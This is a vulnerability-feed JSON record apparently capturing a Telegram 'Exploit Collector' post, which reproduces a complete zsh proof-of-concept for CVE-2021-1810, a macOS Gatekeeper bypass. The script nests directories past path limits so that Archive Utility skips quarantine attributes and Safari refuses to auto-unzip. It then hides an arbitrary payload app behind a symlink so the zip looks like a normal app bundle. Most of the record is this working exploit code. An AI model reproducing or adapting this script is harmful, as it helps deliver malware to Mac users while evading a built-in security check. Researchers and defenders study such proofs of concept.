{"uuid": "c2af3f26-cf5e-4ede-b9d8-f36c23f22ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/hacking_Attack/26198", "content": "Exploit Collector\nGatekeeper Bypass Proof Of Concept\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nThis script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.\n\nMD5 | 993ed96204ab42821d3eacd7f4266ff7\n\nDownload\n#!/bin/zsh -e\n\n# This script will create a zip file exploiting CVE-2021-1810 by creating a\n# directory hierarchy deep enough for Archive Utility to fail setting\n# quarantine attributes on certain files while also making some path names \n# long enough to prevent Safari automating unzipping from unpacking the archive.\n# Finally, the script will create a symbolic link at the top level, making the\n# zip file appear like a normal app bundle zip file.\n\npayload=FakeApp.app\n\ncreateddir=\"\"\npathlen=0\n\n# create a .prefixed directory $len charactes, and increment global path length counter $pathlen\nmakelongdir() {\nlen=$1\ntdir=.$(perl -e 'print \"x\"x'${len})\nmkdir $tdir\ncd $tdir\nif [ \"$createddir\" ] ; then\ncreateddir=\"$createddir/$tdir\"\nelse\ncreateddir=\"$tdir\"\nfi\npathlen=$(($pathlen + $len +  2)) # len+\".\"+\"/\"\n}\n\nif ! [ -x \"$payload\" ] ;  then\necho \"Need a payload (\\\"$payload\\\") in pwd to continue!\"\nexit 1\nfi\n\npayloaddir=$(pwd)\ntargetdir=$(pwd)\nstartdir=$(mktemp -d)\ncd \"$startdir\"\n# Make three directories of max length 255\nfor i in 1 2 3 ; do\nmakelongdir 254 # . prefix = length 255\ndone\n\n# Signpost for debugging; this should be last actual file to have quarantine attribute\ntouch dummyfile\n\n# ArchiveService will unzip the file contents into a path with length 153\n# characters (including final \"/\") on Catalina, while on Big Sur\n# ArchiveService uses a 138 character temp path. \n# Any files or directories whose full path exceeds PATH_MAX will not get any\n# com.apple.quarantine extended attribute.\n# $pathlen contains amount of bytes in path so far; for the final directory\n# we can calculate how many characters we need, taking the payload name into\n# account.\n\npayloadnamelength=$(echo -n $payload|wc -c)\necho payload name length: $payloadnamelength path length: $pathlen\nremaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))\nmakelongdir $(($remaining))\n\n# save the path we have so far for the symlink creation later\nappdir=\"$createddir\"\ncp -r \"${payloaddir}/$payload\" .\n\n# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file\n# ...but should still be shorter than 1017 characters, for some reason.\nremaining=$((1014 - $pathlen))\nmakelongdir $remaining\n\ncd \"${startdir}\"\n# Create the symbolic link that will make the app accessible to the user\nln -s ${appdir}/$payload\n\nrm -f ${targetdir}/poc.zip\n\n# Create the final zip file and reveal in Finder\nzip -qyr ${targetdir}/poc.zip .\necho \"PoC zip containing $payload available at $targetdir\"\nopen -R ${targetdir}/poc.zip\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.767245Z"}